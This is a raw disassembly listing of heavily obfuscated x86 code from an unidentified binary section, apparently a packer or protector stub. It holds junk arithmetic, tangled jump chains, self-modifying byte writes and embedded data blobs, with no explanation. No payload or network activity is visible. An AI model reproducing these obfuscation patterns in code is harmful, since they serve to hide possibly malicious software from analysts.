		jmp	near ptr dword_487970+35h
; ---------------------------------------------------------------------------

loc_48AEC3:				; CODE XREF: dy9cvewz:0048C9C3j
		push	96C8D7EFh
		pop	ebx
		and	ebx, 615653D6h
		sub	ebx, 58CAEC51h
		add	ebx, 58D359F4h
		jmp	near ptr dword_488C7C+7
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_48AEE2	proc near

; FUNCTION CHUNK AT 0048BF7C SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	byte ptr [edi],	8Bh
		pop	edi
		push	offset byte_489DDB
		jmp	loc_48BF7C
sub_48AEE2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_48AEF6:				; CODE XREF: sub_48BB9F:loc_48AE97j
		jz	loc_488B0B

loc_48AEFC:				; CODE XREF: dy9cvewz:0048AF43j
		jmp	loc_48BCBF
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		jmp	locret_48AF24
; ---------------------------------------------------------------------------
		align 4
		dd 81CCE381h, 0EEE9A1FDh, 0C3FFFFDBh, 0E9C300C3h, 0FFFFE417h
		dd 0E247E900h, 0FFFFh
; ---------------------------------------------------------------------------

locret_48AF24:				; CODE XREF: dy9cvewz:0048AF01j
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_48B3BA

loc_48AF26:				; CODE XREF: sub_48B3BA-1EC2j
		jnz	loc_4890E8
		jmp	loc_48C972
; END OF FUNCTION CHUNK	FOR sub_48B3BA
; ---------------------------------------------------------------------------
		align 2

locret_48AF32:				; CODE XREF: dy9cvewz:0048B27Fj
		retn
; ---------------------------------------------------------------------------
		align 4

loc_48AF34:				; DATA XREF: dy9cvewz:0048B27Ao
		xor	edx, 9BE8D6B7h
		add	edx, ebp
		push	ebx
		push	86663E25h
		pop	ebx
		jmp	loc_48AEFC
; ---------------------------------------------------------------------------
		dd 0C30000h
; ---------------------------------------------------------------------------

locret_48AF4C:				; CODE XREF: dy9cvewz:loc_4888DCj
		retn
; ---------------------------------------------------------------------------
		mov	byte ptr [edx],	85h
		pop	edx
		sub	edi, 0A1709626h
		or	edi, 7ACA1F8h
		jmp	loc_48B78C
; ---------------------------------------------------------------------------
		align 4
		js	loc_48C31C
		sbb	ebp, 499545Eh
		jmp	loc_4893BC
; ---------------------------------------------------------------------------
		align 2

loc_48AF76:				; CODE XREF: dy9cvewz:loc_48B78Cj
		test	edi, 1000000h
		jmp	loc_48C54E
; ---------------------------------------------------------------------------

loc_48AF81:				; CODE XREF: dy9cvewz:loc_48C9C9j
		call	nullsub_551
		call	sub_48B37A
; ---------------------------------------------------------------------------
		db 0
		db    0
		db  8Bh	; ‹
		db 0FEh	; þ
		db  5Eh	; ^
		db  81h	; 
		db 0EFh	; ï
		db 0EFh	; ï
		db  30h	; 0
		db  5Fh	; _
		db  36h	; 6
		db  81h	; 
		db 0C7h	; Ç
		db 0ADh	; ­
		db  7Ah	; z
		db 0C6h	; Æ
		db  42h	; B
		db  68h	; h
		db 0AEh	; ®
		db  78h	; x
		db  48h	; H
		db    0
		db 0E9h	; é
		db  92h	; ’
		db 0C5h	; Å
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_48AFA6:				; CODE XREF: dy9cvewz:0048851Ej
		retn
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFD5CF84h, 0AE900FFh, 0FFFFC4h, 0E913C7C1h,	0FFFFD5B4h
		dd 510000C3h, 0F09AD368h, 242C8777h, 0C15DCD8Bh, 0F18110C1h
		dd 3C01FD04h, 896AC181h, 8CE93AEDh, 81FFFFF4h, 0CE301BF6h
		db 15h

; =============== S U B	R O U T	I N E =======================================



sub_48AFE5	proc near		; CODE XREF: dy9cvewz:00488A3Ep

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00488031 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00488748 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004891C4 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0048A026 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048A1B9 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0048B24E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048C150 SIZE 00000010 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	byte ptr [edx],	3
		pop	edx
		push	edx
		jmp	loc_48B24E
sub_48AFE5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0E1C1F823h, 0E501E909h, 0C3FFFFh, 0FFF315E9h, 47B800FFh
		dd 0E9004897h, 0FFFFCD9Bh
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48B011	proc near		; CODE XREF: dy9cvewz:00489A9Ej
					; dy9cvewz:0048B09Bp

; FUNCTION CHUNK AT 004878EF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00487E22 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048944B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00489E25 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0048A078 SIZE 00000006 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ebx
		mov	ebx, edi
		jmp	loc_4878EF
sub_48B011	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0), 8Bh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		xchg	ecx, [esp]
		mov	ebx, offset word_48B42E
		jmp	loc_488F03
; ---------------------------------------------------------------------------
		align 10h

locret_48B030:				; CODE XREF: dy9cvewz:0048C879j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 99h
		dd 0D3A820Fh, 3CE90000h, 0FFFFFDh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_4883EC

loc_48B042:				; CODE XREF: sub_4883EC:loc_4883F3j
		jmp	loc_489F69
; END OF FUNCTION CHUNK	FOR sub_4883EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48789B

loc_48B047:				; CODE XREF: sub_48789B+Dj
		jmp	loc_48914F
; END OF FUNCTION CHUNK	FOR sub_48789B
; ---------------------------------------------------------------------------
		dd 0F8813387h, 76B6B043h, 0FFD1E7E9h
		db 0FFh, 0
word_48B05A	dw 1EE9h		; DATA XREF: sub_4881C3+Ao
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48B05F:				; CODE XREF: dy9cvewz:00487803j
		push	offset loc_489F4C
		jmp	locret_48C291
; ---------------------------------------------------------------------------

loc_48B069:				; CODE XREF: dy9cvewz:00487D58j
					; dy9cvewz:loc_48A238j
		call	sub_488506
		add	[esi+51h], dl
		pop	esi

loc_48B072:				; DATA XREF: dy9cvewz:004886ECo
		xchg	esi, [esp]
		mov	ecx, [esp+10h]
; ---------------------------------------------------------------------------
		db 0C7h, 2 dup(1)
; ---------------------------------------------------------------------------

loc_48B07C:				; CODE XREF: dy9cvewz:0048B0A2j
		add	[ecx], al
		add	[ebp+48977405h], cl
		add	[edi-17h], dl
		sbb	[ecx], cl
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_48B08C:				; CODE XREF: dy9cvewz:00488E28j
		jns	loc_489F5C
		or	eax, ebp
		sub	ecx, edx

loc_48B096:				; CODE XREF: dy9cvewz:0048751Cj
		mov	eax, 61h
		call	sub_48B011
		add	cl, ch
		ja	short loc_48B07C
; ---------------------------------------------------------------------------
		dd 0FFFFh
; ---------------------------------------------------------------------------

loc_48B0A8:				; CODE XREF: dy9cvewz:00487D12j
		mov	edi, 487A2Ah
		jmp	loc_4875C8
; ---------------------------------------------------------------------------
		align 4
		add	ecx, edi
		jmp	sub_48C532
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------

loc_48B0BD:				; CODE XREF: dy9cvewz:loc_489096j
		push	487D28h
		jmp	near ptr dword_487D18+1
; ---------------------------------------------------------------------------
		db 3
		dd 4C6853D5h, 5B6DCFEDh, 5DF1CB81h, 0F381E7A5h,	7E93427h
		dd 2900C381h, 6EE928FFh
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48B0E7:				; CODE XREF: dy9cvewz:loc_48C54Ej
		jnz	loc_48B90D
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0C8Ah, 0E9C10000h, 80CE914h,	0
		dd 15BB810Fh, 34870000h, 24048724h, 0F58F08Bh, 0FFC4AC85h
		dd 0ED5E8FFh, 81000000h, 0DF4963F0h, 5C0C169h, 0F2D96856h
		dd 815E4D3Ch, 0ACC2FBEEh, 0CBC68166h, 3BF98E80h, 0E8FCE9C6h
		dd 0FFFFh, 815EC68Bh, 0FF285BE8h, 0B9F88158h, 0E91534F3h
		dd 0E58h, 24348700h, 58B645Eh, 30h, 0FFDA53E8h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48A095

loc_48B165:				; CODE XREF: sub_48A095-2915j
		jmp	loc_48810E
; END OF FUNCTION CHUNK	FOR sub_48A095
; ---------------------------------------------------------------------------
		db 0
byte_48B16B	db 50h			; DATA XREF: dy9cvewz:00488410o
		dd 1A9D6853h, 815B1781h, 1040D1EBh, 0FD13E960h,	800FFFFFh
		dd 0FFFFD481h, 828B6857h, 84E90048h, 0FFFFFDh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487A52

loc_48B191:				; CODE XREF: sub_487A52+4C3Aj
		rol	edi, 0Bh
		add	edi, 7B822EF1h
		xor	edi, 830E2319h
		add	eax, edi
		pop	edi
		jmp	loc_4896B8
; END OF FUNCTION CHUNK	FOR sub_487A52
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48829D

loc_48B1AA:				; CODE XREF: sub_48829D+7j
		xchg	ecx, [esp+0]
		pushf
		call	loc_4875EC
; END OF FUNCTION CHUNK	FOR sub_48829D
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48ACED

loc_48B1B5:				; CODE XREF: sub_48ACED+9j
		jmp	loc_4876D9
; END OF FUNCTION CHUNK	FOR sub_48ACED
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_547. PRESS KEYPAD	"+" TO EXPAND]
		align 2
; START	OF FUNCTION CHUNK FOR sub_48CB03

loc_48B1BE:				; CODE XREF: sub_48CB03-3C5j
		jmp	nullsub_559
; END OF FUNCTION CHUNK	FOR sub_48CB03
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFD85Dh, 8904E3C1h, 0E0A9E91Eh
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_489688

loc_48B1D3:				; CODE XREF: sub_489688:loc_489827j
		and	edi, 0C2247DF8h
		add	edi, 0D6D156CEh
		add	edi, ebp
		push	offset word_48C90A
		jmp	nullsub_430
; END OF FUNCTION CHUNK	FOR sub_489688
; ---------------------------------------------------------------------------
		align 4

locret_48B1EC:				; CODE XREF: dy9cvewz:loc_48A5DCj
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 56h
; ---------------------------------------------------------------------------
		mov	esi, 489B42h
		jmp	loc_48B612

; =============== S U B	R O U T	I N E =======================================



sub_48B1FA	proc near		; CODE XREF: sub_48BDD1-173Dj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0048A567 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0048AD48 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048B4B7 SIZE 00000005 BYTES

		xchg	edx, [esp-4+arg_0]
		pop	edx
		push	edi
		mov	edi, offset loc_48A571
		jmp	loc_48B4B7
sub_48B1FA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sbb	ebx, eax
		jmp	loc_489FE8
; ---------------------------------------------------------------------------
		dd 0E8B0000h, 0C49E9h
		db 3 dup(0)
byte_48B21B	db 8Bh			; DATA XREF: dy9cvewz:00488443o
; ---------------------------------------------------------------------------
		adc	al, [edi-47AFDBECh]
		fidivr	word ptr [eax+48h]
		add	cl, ch
		test	eax, 0FFFFEBh
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48B22F:				; DATA XREF: dy9cvewz:00488687o
		xor	ecx, 9EE2A681h
		add	ecx, ebp
		add	ecx, 0FE866D1Dh
		mov	ecx, [ecx]
		popf
		xchg	ecx, [esp]
; START	OF FUNCTION CHUNK FOR sub_487CB5

loc_48B243:				; CODE XREF: sub_487CB5:loc_48C701j
		call	sub_48BE08

loc_48B248:				; CODE XREF: sub_48C58E+Aj
		jmp	loc_48AC2F
; END OF FUNCTION CHUNK	FOR sub_487CB5
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_48AFE5

loc_48B24E:				; CODE XREF: sub_48AFE5+9j
		jmp	loc_48A1B9
; END OF FUNCTION CHUNK	FOR sub_48AFE5
; ---------------------------------------------------------------------------

loc_48B253:				; CODE XREF: dy9cvewz:00487E66j
		jmp	near ptr word_487CDA+1
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_48B25A	dw 0DD03h		; DATA XREF: sub_48AD01+B58o
		dd 0B074C381h
		db 0D0h, 0C5h
word_48B262	dw 1B8Bh		; DATA XREF: dy9cvewz:0048A04Eo
		dd 51241C87h, 0FFE3E2E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

loc_48B26E:				; DATA XREF: dy9cvewz:0048A641o
		push	0BADE8FAEh
		pop	edx
		or	edx, 609203A4h
		push	offset loc_48AF34
		jmp	locret_48AF32
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BE85

loc_48B286:				; CODE XREF: sub_48BE85-402Ej
		pop	ecx
		pushf
		push	0CCC76E0Fh
		pop	eax
		and	eax, 34F280DAh
		rol	eax, 8
		xor	eax, 4AA3E5F6h
		add	eax, 0BC906787h
		jmp	loc_48757C
; END OF FUNCTION CHUNK	FOR sub_48BE85
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_548. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48A96C

loc_48B2AB:				; CODE XREF: sub_48A96C+157Cj
		jmp	nullsub_553
; END OF FUNCTION CHUNK	FOR sub_48A96C
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

loc_48B2B1:				; DATA XREF: sub_487E6B-12Co
		xchg	esi, [esp]
		jmp	loc_489D37
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h
		dd 9043EC45h
dword_48B2C0	dd 55242C87h, 0FFCAC6E9h ; DATA	XREF: sub_487E6B-A07o
		db 0FFh, 2 dup(0)
byte_48B2CB	db 68h			; DATA XREF: dy9cvewz:0048862Fo
		dd 0C9747D68h, 0B9C18159h, 8156EAE4h, 4239A4E9h, 99C181AFh
		dd 9D8F2B49h, 487E1C68h, 0D90FE900h, 0EE81FFFFh, 7A301CB0h
		dd 58240487h, 30058B64h, 0E9000000h, 0FFFFE389h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48B305:				; CODE XREF: sub_48AD01+Bj
		mov	edx, esi
		xchg	edx, dword ptr [esp-10h+arg_C]
		call	loc_488B16

loc_48B30F:				; CODE XREF: dy9cvewz:00489012j
		jp	loc_488556
		sub	esi, 408AB98Bh
		add	esi, 0FD9C5653h
		test	esi, 200000h
		jmp	loc_489B97
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_48B32E	proc near		; CODE XREF: dy9cvewz:0048C0E7p
		push	offset byte_48B725
		jmp	nullsub_549
sub_48B32E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AE49

loc_48B338:				; CODE XREF: sub_48AE49:loc_48A212j
		rol	ecx, 3
		sub	ecx, 913CD68Fh

loc_48B341:				; CODE XREF: sub_4898B7:loc_48A459j
		xor	ecx, 0FED70B1Fh
		add	ecx, ebp
		jmp	loc_48A8FD
; END OF FUNCTION CHUNK	FOR sub_48AE49
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48B34F:				; CODE XREF: sub_48AD01-58Bj
		push	offset byte_48B8C5
		jmp	nullsub_433
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
; ---------------------------------------------------------------------------
		mov	word ptr [edx+0FFFFF0h], ss
; START	OF FUNCTION CHUNK FOR sub_489B1A

loc_48B362:				; CODE XREF: sub_489B1A+1Dj
		jmp	loc_489B51
; END OF FUNCTION CHUNK	FOR sub_489B1A
; ---------------------------------------------------------------------------
		align 4
		dd 255BD181h, 815F9CD5h, 132976F9h, 0F071E92Ch
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_48B37A	proc near		; CODE XREF: dy9cvewz:00489C03j
					; dy9cvewz:0048AF86p
		xchg	edi, [esp+0]
		pop	edi
		push	offset byte_48BD49
		jmp	nullsub_566
sub_48B37A	endp

; ---------------------------------------------------------------------------
		add	edi, 1E5A8DC4h
		jmp	loc_48B5C6
; ---------------------------------------------------------------------------
		db 81h
		dd 17F27FDBh, 0F2D5E955h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

loc_48B39F:				; CODE XREF: dy9cvewz:004874DDj
		rol	ebx, 0Fh
		sub	ebx, 0A1E67CB5h
		rol	ebx, 5
		add	ebx, 0C73DA8B8h
		xchg	ebx, [esp]
		jmp	loc_48782D
; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_48B3BA	proc near		; CODE XREF: dy9cvewz:0048779Aj
					; sub_489688p

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00488492 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004884E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00489035 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004890E8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004894F0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004896DC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0048A32F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048A7A3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048AF26 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0048B929 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0048BD60 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0048C081 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0048C43D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0048C972 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0048CB2D SIZE 00000013 BYTES

		xchg	edi, [esp+0Ch+var_C]
		pop	edi
		xchg	edi, [esp+0]
		xchg	ebx, [esp+0]
		jmp	loc_48B929
sub_48B3BA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48B3CB:				; CODE XREF: dy9cvewz:004882E0j
		pop	eax
		add	eax, 0BFE8B1E6h
; START	OF FUNCTION CHUNK FOR sub_48AAB3

loc_48B3D2:				; CODE XREF: sub_48AAB3:loc_48890Dj
		or	eax, 6ADA3636h
		jnz	loc_4874FF
		xor	eax, 0AB268C62h
		jmp	loc_4874F5
; END OF FUNCTION CHUNK	FOR sub_48AAB3
; ---------------------------------------------------------------------------
		align 2

loc_48B3EA:				; CODE XREF: dy9cvewz:0048BB4Bj
		jl	loc_489200
		xchg	eax, [ebx]
		jmp	loc_48A5B8
; ---------------------------------------------------------------------------
		align 4
		dd 69880F00h, 0E9000013h, 0FFFFF8E9h
; ---------------------------------------------------------------------------

loc_48B404:				; CODE XREF: dy9cvewz:loc_48A13Fj
		add	ecx, 0EDB10938h
		and	ecx, 3F937711h
		add	ecx, 0EBC76D05h
		jmp	near ptr dword_488920+26h
; ---------------------------------------------------------------------------
		align 4
		or	ecx, eax

loc_48B41E:				; CODE XREF: dy9cvewz:0048AD58j
		jmp	loc_48B450
; ---------------------------------------------------------------------------
		align 4
		dd 59240C87h, 8DD0C681h
		db 9Eh,	0A1h
word_48B42E	dw 0F503h		; DATA XREF: dy9cvewz:0048B024o
		dd 0FFF317E9h, 0C10000FFh, 0AE915C1h, 0BFFFFFAh, 0F04FE9C3h
		dd 0FFFFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48B44B:				; CODE XREF: dy9cvewz:004886E2j
		jmp	locret_48C58B
; ---------------------------------------------------------------------------

loc_48B450:				; CODE XREF: dy9cvewz:loc_48B41Ej
		xchg	esi, [esp]
		pop	esi
		call	ds:dword_45B0C0	; ExitProcess
		call	near ptr dword_48A7B0+1
		jmp	near ptr byte_48AB66
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_487A52

loc_48B466:				; CODE XREF: sub_487A52+Cj
		jmp	loc_48C684
; END OF FUNCTION CHUNK	FOR sub_487A52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48BB9F

loc_48B46B:				; CODE XREF: sub_48BB9F:loc_4898FEj
		xchg	ebx, [esp+8+var_8]
		push	edx
		mov	edx, offset loc_4881EB
		jmp	loc_489190
; END OF FUNCTION CHUNK	FOR sub_48BB9F
; ---------------------------------------------------------------------------
		align 2
word_48B47A	dw 1668h		; DATA XREF: dy9cvewz:00487E2Ao
; ---------------------------------------------------------------------------
		sub	al, 0F8h
		retn	815Eh
; ---------------------------------------------------------------------------
		db 0E6h, 44h, 4Ch
		dd 68507E1Fh, 96554D85h, 60F08158h, 81EBD93Eh, 5EAE35E8h
		dd 0C659E949h, 0FFFFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_558. PRESS KEYPAD	"+" TO EXPAND]
		db 2 dup(0), 81h
		dd 0A063AFC5h, 0C288E992h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48B4B0:				; CODE XREF: dy9cvewz:004877A5j
					; dy9cvewz:0048A5BFj ...
		call	sub_48B8DE
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B1FA

loc_48B4B7:				; CODE XREF: sub_48B1FA+Aj
		jmp	loc_48A567
; END OF FUNCTION CHUNK	FOR sub_48B1FA
; ---------------------------------------------------------------------------
		dd 11CEC100h, 0FFC932E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_48B4C5:				; CODE XREF: dy9cvewz:loc_4875C8j
		mov	byte ptr [edi],	0Fh
		pop	edi
		add	esi, 0ACD39B6Dh
		add	eax, esi
		pop	esi
		jmp	loc_489FBE

; =============== S U B	R O U T	I N E =======================================



sub_48B4D7	proc near		; CODE XREF: dy9cvewz:loc_48BEA0p

; FUNCTION CHUNK AT 0048B574 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	edx, 0BA285A6Eh
		add	edx, ebp
		push	48A2C2h
		jmp	loc_48B574
sub_48B4D7	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================



sub_48B4EE	proc near		; CODE XREF: dy9cvewz:0048936Cj
					; sub_48899B:loc_48C5EEp

; FUNCTION CHUNK AT 004883C9 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		xchg	esi, [esp+0]
		mov	ebx, esi

loc_48B4F6:				; CODE XREF: dy9cvewz:00488A02j
		pop	esi
		push	offset loc_48C614
		jmp	loc_4883C9
sub_48B4EE	endp

; ---------------------------------------------------------------------------
		db 0C1h, 0C5h, 10h
		dd 0FFCA44E9h, 0C8700FFh, 68505924h, 0EC5C379Dh, 4A1E958h
		dd 0
		dd 0F393E89Dh, 0FFFFh, 11B9E9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48A611

loc_48B52A:				; CODE XREF: sub_48A611+1j
		jmp	loc_48C419
; END OF FUNCTION CHUNK	FOR sub_48A611
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF9E0h, 874A4368h, 0EEBCE9A7h, 0D523FFFFh, 0FFCD92E9h
		dd 46E85EFFh, 0FFFFC5h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B837

loc_48B54D:				; CODE XREF: sub_48B837+5j
		jmp	loc_488112
; END OF FUNCTION CHUNK	FOR sub_48B837
; ---------------------------------------------------------------------------

locret_48B552:				; CODE XREF: dy9cvewz:004884A6j
		retn
; ---------------------------------------------------------------------------
		jmp	locret_48A18E
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_488FD4

loc_48B55A:				; CODE XREF: sub_488FD4:loc_48BE9Aj
		mov	ebp, esp
		jno	loc_488C2C
		push	eax
		push	42FC5198h
		jmp	loc_488E05
; END OF FUNCTION CHUNK	FOR sub_488FD4
; ---------------------------------------------------------------------------
		align 2
		retn
; ---------------------------------------------------------------------------

loc_48B56F:				; CODE XREF: dy9cvewz:0048B916j
		jmp	loc_489899
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48B4D7

loc_48B574:				; CODE XREF: sub_48B4D7+11j
		jmp	nullsub_567
; END OF FUNCTION CHUNK	FOR sub_48B4D7
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E8h
		dd 0FFFFCEFDh
; ---------------------------------------------------------------------------

loc_48B580:				; DATA XREF: dy9cvewz:loc_48C293o
		mov	byte ptr [eax],	87h
		push	offset word_48BE4A
		jmp	locret_48A23D
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 877C2DC0h, 0A86850FFh, 0E9004875h, 0FFFFEB22h
		db 0
; ---------------------------------------------------------------------------

loc_48B5A1:				; CODE XREF: dy9cvewz:0048752Aj
		push	ecx
		mov	ecx, offset loc_48913D
		jmp	loc_48C5F3
; ---------------------------------------------------------------------------
		dd 0F1B8E800h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_48B5B2:				; CODE XREF: dy9cvewz:0048A635j
		jmp	loc_4875B7
; ---------------------------------------------------------------------------

locret_48B5B7:				; CODE XREF: dy9cvewz:loc_48C3EFj
		retn
; ---------------------------------------------------------------------------
		dd 4CE90000h, 0E9FFFFD8h, 0FFFFC3DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_48B5C6:				; CODE XREF: dy9cvewz:0048B38Ej
		xchg	ebx, [esp]
		pop	ebx
		add	edi, 0A79680EEh
		popf
		xchg	edi, [esp]
		jmp	nullsub_528
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C1h
		dd 0C0F71AE6h, 64A1026Ch, 511E9h, 0C0810000h, 0F80095D0h
		dd 24048714h, 0FFD9DBE9h, 6FE900FFh, 0FFFFF8h, 0FFD69DE9h
		dd 680000FFh, 48C7DAh, 0FFC153E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]

loc_48B612:				; CODE XREF: dy9cvewz:0048B1F5j
		call	near ptr dword_48929C+1Bh
; ---------------------------------------------------------------------------
		db 0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_48B619	proc near		; CODE XREF: dy9cvewz:loc_48933Ep
		xchg	edi, [esp+0]
		xchg	ebp, [esp+0]
		mov	edi, ebp
		pop	ebp
		push	esi
		mov	esi, eax
		sbb	[esp+0], esi
		push	488A5Ah
		jmp	nullsub_562
sub_48B619	endp

; ---------------------------------------------------------------------------

loc_48B632:				; CODE XREF: dy9cvewz:loc_48C76Fj
		jl	loc_4893E6
		mov	ebx, [ecx]
		cmp	ebx, 8B42BD21h
		jmp	loc_4893E0
; ---------------------------------------------------------------------------
		align 2
		sub	edi, 0E7553D76h
		jmp	loc_48809C
; ---------------------------------------------------------------------------
		align 2
		dw 1C6h
		dd 0EE81598Ah, 5F6D0728h, 0C327E681h, 0FE819230h, 11402E20h
		dd 0FFBD8DE9h, 8B0000FFh, 0E599E937h, 0C081FFFFh, 48E7543h
		dd 487008Bh, 0C015FF24h, 0E90045B0h, 0FFFFDAEFh, 48B9FD68h
		dd 0EA90E900h, 2268FFFFh
		db 0A2h, 3Ah, 2Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_48AD01

loc_48B69B:				; CODE XREF: sub_48AD01:loc_489B97j
		xor	esi, 581C77B2h
		add	esi, ebp
		push	ebx
		push	2C69B17Eh
		jmp	loc_48820F
; END OF FUNCTION CHUNK	FOR sub_48AD01
; ---------------------------------------------------------------------------
		align 10h
		dd 0E902CBC1h, 0FFFFF4F1h, 0F08B5600h, 0B8243487h, 48A63Fh
		dd 0FFE76EE9h, 0D32300FFh, 0FFEA56E9h, 0FEEE81FFh, 0C1626C9Dh
